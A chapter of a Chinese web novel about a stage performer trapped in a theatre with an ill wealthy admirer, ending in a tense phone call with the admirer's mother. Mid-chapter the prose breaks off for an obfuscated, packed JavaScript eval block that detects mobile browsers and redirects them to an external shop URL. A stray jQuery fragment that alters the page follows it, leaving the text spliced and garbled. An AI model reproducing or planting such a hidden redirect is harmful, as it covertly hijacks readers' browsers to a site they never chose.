徐烽烧得神志不清,似乎做了什么梦,唇间溢出断断续续的呓语。
“妈……江昊……不是……”
江昊心口一紧,屏住呼吸,将耳朵凑近了些。
“……不是人妖。”
这几个字,江昊听得清清楚楚。
徐烽干裂的嘴唇翕动着:“他是……大明星……”
后面的话变得模糊不清。
看来在徐家,爆发过一场风暴,徐烽和他母亲发生过争执。
对于江昊来说,别人的歧视是家常便饭,没爹没娘的孤儿,初中辍学的文凭,再到后来穿着裙子上台卖笑的经历,种种一切很容易被人瞧不起,他早练就一身硬壳,油盐不进,风雨不侵。
他几乎能想象出徐母会用怎样轻蔑的语气谈论自己,可他没想到,徐烽会为他说话,为一个外人,争一句“不是”。
心口堵得慌,江昊咬了咬嘴唇,将陌生的情绪压下去。
从一堆女装里挑出件厚一点的裙子,卷成团,垫在徐烽颈后,尽量让徐烽躺得舒服些。
再拿起酒精棉片,一遍遍擦拭着手心脚心等处。
慢慢的,徐烽的梦呓平息下去,呼吸也平稳,额头的温度似乎没之前那么高了。江昊紧绷的神经稍微松了一下,目光落在掉在一旁的手机上。
按亮屏幕,许经理拍的那张两人合影再次跳入眼帘。
手指胡乱地在屏幕上滑动。
界面跳出四个字:
【输入密码】
1234,0000……输入几个最简单的组合,得到错误提示,以及手机即将锁定的警告。
要不算了,解开手机也没用,又没有信号,还不如去找东西砸门更有效。
再试最后一次。
再错就会被锁,这次得慎重些。
试个什么呢?
莫名的,想起初遇那天。
那天的开场与往常并没有任何不同,他麻木地上台,不经意瞥见台下有个背影正欲离场。背影挺拔,透着那么一股子孤傲的味道,与乌烟瘴气的场子格格不入。
不知是哪根筋搭错,江昊起了好胜心,想把这个快离场的观众演回来。
他抛开准备好的荤段子,说了个自己刚琢磨出来,还没试过的新笑话。
满场爆笑。
那个高大的背影停住脚步,重新坐回第一排正中央。
舞台灯光下,他第一次看清了徐烽。
那人穿着一件干干净净的白衬衫,手臂上搭着羊绒大衣,银色腕表反着冷光,江昊认出那牌子好像是百达翡丽,以前许经理教过他,让他看表识人,用手表分辨客户身价。
在周围一片暗色的粗犷背景里,那抹白色纯净得扎眼。
那人看向台上的眼神,没有一丁点调笑之意,连观众惯有的猎奇的意味都没有。
只有专注和温柔。
江昊从没见过这样的目光。
被这种目光注视的江昊,悄悄缩减了一些黄段子,还换了歌,把本来要唱另的有点土嗨的歌,临时改成能体现唱功的经典怀旧情歌。
唱完歌,在捕捉到他眼中的惊艳之色后,江昊心里那只惴惴不安的小松鼠,像是找到了一颗最大的松子,偷偷藏进腮帮子,准备留着独自回味。
可惜观众从来不给他回味的机会,啤酒和起哄如常到来。
他多怕从那个人眼里看见鄙夷。
那人的衣着打扮和气质,一看就是个有文化的,极有可能是第一次来,恐怕不能适应这种演出。
平常观众再怎么拿江昊取乐,再怎么羞辱江昊,江昊都习惯了,习惯从观众的眼里看见鄙夷或者轻视,可这次,他不想从他眼里看见。
他有些不安地对上那人的眼,只看见了理解。
还有一丝丝,
……心疼?
有没有搞错他居然在心疼我吗?
江昊在转乐金宵演了一千多个日日夜夜,第一次遇见这样的观众。
直到下了戏,蹲在楼梯口抽烟,江昊心里还在回味刚才那一幕,忍不住想,这个人会不会走这里?
如果他来了,自己要叫住他吗?
还是不要了,叫住也不知道说什么。
这么多年在楼梯口拉客,他只会用一身尖刺把人吓跑,连最基本的拍马屁都不会,只有不合时宜的硬脾气。
四年来,徐烽是唯一一个问他累不累的人。
来看猴子的看客们,怎么可能关注到猴子累不累,只有徐烽把他当人,没当猴子。
徐烽永远不会知道,当时江昊听见这句话,内心山呼海啸般的震动。
以至于他和徐烽第一次见面就袒露了许多心声,借着酒劲说了很多不该说的话,还让徐烽有了可乘之机送他回家。
那一天,是2010年10月19日。
从未刻意去记,但这个日期,就像用刀刻进骨头里。
至死不忘。
手指像是有自己的意识,在密码框里输入“1019”。
“咔哒。”
一声极轻的解锁音后,
屏幕亮了,主界面显现。
真的是这个密码。
江昊维持着低头的姿势,脖颈像生了锈,极其缓慢地转向昏迷的徐烽。
为什么?
他张了张嘴,没有问出来。
一股滚烫的酸涩冲上鼻腔。
江昊想笑,在泥潭里挣扎求活这么多年,现在有人把他捞出来,给他洗干净,小心翼翼地珍视他,他该笑的。
可根本笑不出来,心里又酸又胀,连同那些那些虚张声势的强悍,也消失不见。
最终,所有难言的情绪,扭曲成嘴角一个破碎的弧度,露出一个比哭还难看的表情。
徐烽的手机里有几条未读信息冒出来。
江昊忍不住好奇,点开。
【秦青】:江昊定好哪天来海市了吗?你身体还好吧,站了五个小时,回去怎么样了?
秦青的信息验证徐烽没说谎。
江昊继续往下划动。
下面一条信息来自司机老张。
【张叔】:小烽,对不起,王姐让我偷拍你和江昊的照片,我没办法,只能照做。存照片的u盘放在你书房左边第二个抽屉里,你自己处理吧。我知道你听不进去我的话,但王姐说的对,我们是在救你,终有一天你会明白,你这样不是正途。
偷拍……底片……U盘……
江昊感到一阵寒意。
徐母在背后调查他,显然徐母反对儿子和一个戏子来往,江昊能理解徐母的心情。
张叔说“不是正途”,在世人眼中,跟自己这样的人混在一起就不是正途。
徐烽这几天,暗地里承受了多少压力?
再往下,是陆小时的信息。
【陆小时】:烽哥,你妈发现你花二十三万买画送给秦青的事了,我咬死了那画是我自己买的,另外,理想城二期批文卡住了,公司副总私下建群想反对你当总裁,我准备进群当卧底,给你探探怎么回事。
【陆小时】:烽哥我来汇报了,今天江昊演砸了,不过后来又表演了一场武术获得满堂彩,听说他在舞台上摔了一跤,把脚伤了,汇报完毕,我可一直替你盯着没偷懒啊。
【陆小时】:怎么不接我电话,江昊今天过生日,你要是不去,肯定要后悔。
一连串陆小时未接来电的提醒。
这些未读信息像一块块拼图,在他眼前拼凑出徐烽这三天的全部经历。
为什么要让他这时候知道这些?如果一直不知道,他就可以一直冷漠下去。
他从未被人保护过,虽然保护得这么笨拙。
这真是他能拥有的吗?他该拿什么还?他身上有什么是徐烽想要的?
除了这张青春年少的脸蛋和还算干净的身子之外,他什么都没有。
徐烽又不想要这些。
那就只剩下敲起来铮铮作响实际上毫无作用的傲骨了。
这身傲骨在他人的世界里一文不值。
也就是说,他其实没有任何东西可以偿还。
不管怎么样,先出去再说,先不去想这些有的没的,先看看怎么找信号。
江昊勉强压下混乱的思绪,在剧场里到处移动,终于信号栏跳出一格。
还来不及感到喜悦,只见一条新信息闯入屏幕。
张滢滢:【阿烽哥哥,你怎么不接我电话?是不是生气了?我下周末回黑城,见一见吧,上次咱俩订婚宴,我没出席,是我不对,不要跟我生气好吗?】
订婚宴?
徐烽的订婚宴?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883049|212491||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所以徐烽……有未婚妻了?!
江昊愣在当场。
是了,徐烽天之骄子,长相不错,性格温和,这样的男人有未婚妻有什么奇怪的?没有女人才不对劲吧!
那么,如果让他未婚妻知道他这一个月来……他未婚妻会怎么想?
江昊不敢细想,更深一层的东西他现在还不太明白,但他直觉意识到到,徐烽这么对自己,很不妥。
“你到底为什么要对我这么好?”
徐烽没有回答。
“如果我真是一个大明星就好了。”
江昊轻笑一声,笑容缥缈得像天边一抹云,风轻轻一吹就散了。
“那我就敢和你交朋友。”
江昊拿起手机,趁着有信号,得快点往外打电话。
打给救护车?警察?消防?……这些都会节外生枝,或许会给徐烽带来不必要的麻烦。
翻开通讯录,目光锁在置顶的“妈妈”两个字上。
徐母想必此刻正在寻找儿子。
江昊没有犹豫,他向来是一个当机立断的人。
按下拨号键,所有情绪冻结成冰,那副用来应对各路看客的面具,严丝合缝地戴回脸上。
电话接通。
王淑慧焦急的声音传来:"小烽!你跑哪去了?你是不是又去看那个戏子……"
"阿姨好,"
江昊打断她。
"我就是那个戏子。"
电话那头陷入死寂。
沉默也有重量。
江昊掂了掂,在对方的沉默中掂出一个母亲的愤怒。
徐母再是女强人,在儿子的问题上也输得一败涂地,估计徐母这一晚上很不好受。江昊几乎有些同情徐母了。
但更多的是耗尽心力的疲惫和无能为力的麻木。
沉默带来尴尬,大概徐母无论如何也想不到江昊敢主动打电话给她,她还不了解江昊是一个什么样的人。
所谓冻死迎风站,饿死不倒槽,江昊这辈子就没什么不敢做的。
“你儿子在转乐金宵剧场。”
江昊刚说完这句话,那边立马传来尖利吼叫:
“我儿子怎么样了?他手机怎么在你那儿?你想威胁我?我告诉你,我从不受人威胁!”
嗯,看来徐母把自己当做理想城对家派来的敌人了。
或许徐母经历过类似的事,才会这么敏感,充满被害妄想。
正常,有钱人都这样,也就只有徐烽一个人不这样。
江昊让声音听起来尽量和善。
“没人要威胁你,剧场大门锁上了,我们被困住出不去。”
“怎么困住的?是不是你暗中搞的鬼?小烽有没有事?”
“暂时没事,你再磨叽下去可能会有事,手机信号说不上什么时候就断。”
江昊比徐母冷静得多,他在打电话前已经做好心理建设。
“他昏迷了,你快点来接他吧。”
徐母终于听出江昊的意思,语气缓和下来,“谢谢孟先生通知我,我为刚才的失礼道歉。”
她叫他“孟先生”,而不是江先生。
江昊对这个称呼稍有些意外,但并没有反驳,默认了自己姓孟。
“孟先生,我知道你,你如果以为可以通过我儿子,来改变命运跃升阶层,那你就错了。”
“阿姨,我要真不怀好意,想从徐烽身上捞好处,我就不给你打这个电话了。”
江昊面对徐母的指控,没有愤怒,只是握紧手机,用依旧平静的语气说:
“我给消防队打电话,或者给派出所打电话,救出徐烽后,我亲自送他去医院,在医院陪伴他照顾他,让他承我的情,不是更好吗?你想想是不是这个道理?”
徐母并不是一个能轻易被说服的女人,“废话少说,孟先生开个价吧,需要多少钱,才能让我接走他?”
江昊气笑了:“你觉得徐烽值多少?”
“那我们面谈吧。”
徐母看似不经意地提醒,“对了,孟先生,我想你知道小烽的性子,就算这次我带走他,他也会再去,希望孟先生能好好劝劝他,至于孟先生失去一位观众的损失,我会替他弥补,绝对是一个让你满意的数字。”
“呵。”江昊笑出声,“行,你放心,我劝他。”